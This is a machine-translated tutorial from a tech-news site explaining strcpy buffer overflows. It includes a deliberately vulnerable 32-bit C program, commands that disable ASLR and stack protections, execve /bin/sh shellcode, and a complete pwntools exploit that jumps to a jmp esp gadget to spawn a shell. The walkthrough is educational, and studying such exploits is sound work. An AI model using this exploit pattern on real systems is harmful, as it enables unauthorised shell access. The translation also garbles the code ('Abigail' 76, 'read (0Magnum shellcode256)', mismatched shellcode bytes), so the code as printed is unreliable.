In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article is to share with you about why strcpy is not safe, the editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article.
Introduction
At the beginning of the school C language, many people used the function strcpy. To put it simply, it is a function copied in memory. This function is indeed very convenient, but this function is very insecure, and the buffer overflow vulnerability caused by this function has been described in many articles. We should abandon the use of strcpy and use strncpy instead.
Prototype statement: char* strcpy (char* dest, const char* src)
Header files: # include and # include
Function: copy the string that starts with the src address and contains the NULL Terminator to the address space starting with dest
Note: the memory areas referred to by src and dest cannot overlap and the dest must have enough space to accommodate src strings.
Since this function can cause a buffer overflow vulnerability, what does the vulnerability look like and how to exploit it? Many articles are very secretive about this, which makes people confused. To understand this, let's first take a look at the 32 program function calling convention under Linux.
Function calling convention (32-bit)
The following is a simple C program stackOf.c, the follow-up content is also around this program.
# include
# include
# include
Void vul (char * msg) {
Char buffer [64]
Strcpy (buffer,msg)
Return
}
Int main () {
Puts ("please give me your shellcode:")
Char shellcode [256]
Memset (shellcode,0256)
Read (0Magnum shellcode256)
Vul (shellcode)
Return 0
}
The function of this program is very simple, which is to copy the input to buffer. But there is a problem here, buffer is only 64 bytes, while input can be 256 bytes, what kind of problem will this cause? We'll talk about the next part. Here we look at what the corresponding assembly code looks like when vul (shellcode); is executed, and how the stack changes when entering the vul function and exiting the vul function. There are two main points to pay attention to in function calls: (1) the entry and exit of parameters; and (2) the balance of the stack.
There is only one parameter in this example, so you can see that the push eax operation is performed first, and then the call sym.vul is executed. That is, the parameters are put on the stack first, and then the call operation is carried out.
The function of the CALL instruction ("invoke" instruction) is the following two points:
Put the address of the next instruction (that is, the contents of the program counter PC at that time) into the stack
And send the starting address of the subroutine to PC (so the next instruction of CPU will go to execute the subroutine)
The process is shown in the following figure: take a look at the assembly code of vul: first put the old ebp into the stack, why this step is needed, in order to facilitate stack backtracking. As for the issue of stack backtracking, it will be discussed separately later. Let's focus on the leave and ret instructions:
When CPU executes the ret instruction, perform the following two steps: (IP) = ((ss) * 16 + (sp)) (return address) (esp) = (esp) + 2 (32 is + 4)
The function of the leave instruction: in 32-bit assembly, mov esp,ebp;// assigns the value of ebp to esppop ebp (an address should be kept inside ebp, that is, the space corresponding to this address).
Program compilation and running
Compile stackOf.c
Gcc-M32-no-pie-fno-stack-protector-z execstack-o pwnme stackOf.c
The running result is as follows: it is best to add a command to turn off the address of the system to randomize.
Sudo bash-c "echo 0 > / proc/sys/kernel/randomize_va_space"
For root users, you can use:
Echo 0 > / proc/sys/kernel/randomize_va_space
Check the data and conclude that the sudo command does not support redirection.
The idea of attack
Let's talk about the problem caused by the fact that buffer is only 64 bytes, while input can be 256 bytes. When the user input is too long, it will be overwritten to the high address.
If you overwrite the return address with: it overwrites the return address with the address of jum esp, so when the function returns, eip points to the address of jmp esp. Our well-designed buffer= padding character + jmp_esp address + shellcode
Fill data
So how is the data calculated? Debug with R2 (gdb is also fine), at the strcpy breakpoint, run:
Through the analysis of the assembly code of vul, we can know that ebx (0xffa97850) is put into the stack before the strcpy call, and this is the starting address of buffer, the address of ebp is 0xffa97898, and the address of the two is 0x48 = 64room8 = 72. Don't forget that ebp also entered the stack when entering the function, so you need to add 4 bytes, that is, 76 bytes.
Jum esp address
Through the ldd command, you can view the load address of libc.so, UTF-8, which needs to be added to avoid Chinese garbled.
#-*-coding: UTF-8-*-
From pwn import *
P = process ('. / pwnme') # run the program
P.recvuntil ("shellcode:") # when receiving the string 'shellcode:'
# find jmp_esp_addr_offset
Libc = ELF ('/ lib32/libc.so.6')
Jmp_esp = asm ('jmp esp')
Jmp_esp_addr_offset = libc.search (jmp_esp). Next ()
If jmp_esp_addr_offset is None:
Print 'Cannot find jmp_esp in libc'
Else:
Print hex (jmp_esp_addr_offset)
Libc_base = 0xf7de0000 # the libc loading address you found
Jmp_esp_addr = libc_base + jmp_esp_addr_offset # get jmp_esp_addr
Print hex (jmp_esp_addr)
The address of jmp esp in the program: jmp_esp_addr=jmp_esp_addr_offset+libc_base, combined with the illustration
Write shellcode
The shellcode is as follows:
'\ x31\ xc9\ xf7\ xe1\ xb0\ x0b\ x51\ x68\ x2f\ x73\ x68\ x68\ x2f\ x62\ x69\ x6e\ x89\ xe3\ xcd\ x80'
Complete attack code
#-*-coding: UTF-8-*-
From pwn import *
P = process ('. / pwnme') # run the program
P.recvuntil ("shellcode:") # when receiving the string 'shellcode:'
# find jmp_esp_addr_offset
Libc = ELF ('/ lib32/libc.so.6')
Jmp_esp = asm ('jmp esp')
Jmp_esp_addr_offset = libc.search (jmp_esp). Next ()
If jmp_esp_addr_offset is None:
Print 'Cannot find jmp_esp in libc'
Else:
Print hex (jmp_esp_addr_offset)
Libc_base = 0xf7de0000 # the libc loading address you found
Jmp_esp_addr = libc_base + jmp_esp_addr_offset # get jmp_esp_addr
Print hex (jmp_esp_addr)
# Construction layout
Buf = 'Abigail' 76
Buf + = p32 (jmp_esp_addr)
Buf + ='\ x31\ xc9\ xf7\ xe1\ xb0\ x0b\ x51\ x68\ x2f\ x73\ x68\ x2f\ x62\ x69\ x6e\ x89\ xe3\ xcd\ x80'
With open ('poc','wb') as f:
F.write (buf)
P.sendline (buf) # sends the constructed buf
P.interactive ()
Attack effect
We can see from the picture that we actually got shell, so we can delete files, browse files, copy files, and so on.
These are the reasons why strcpy is not safe. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.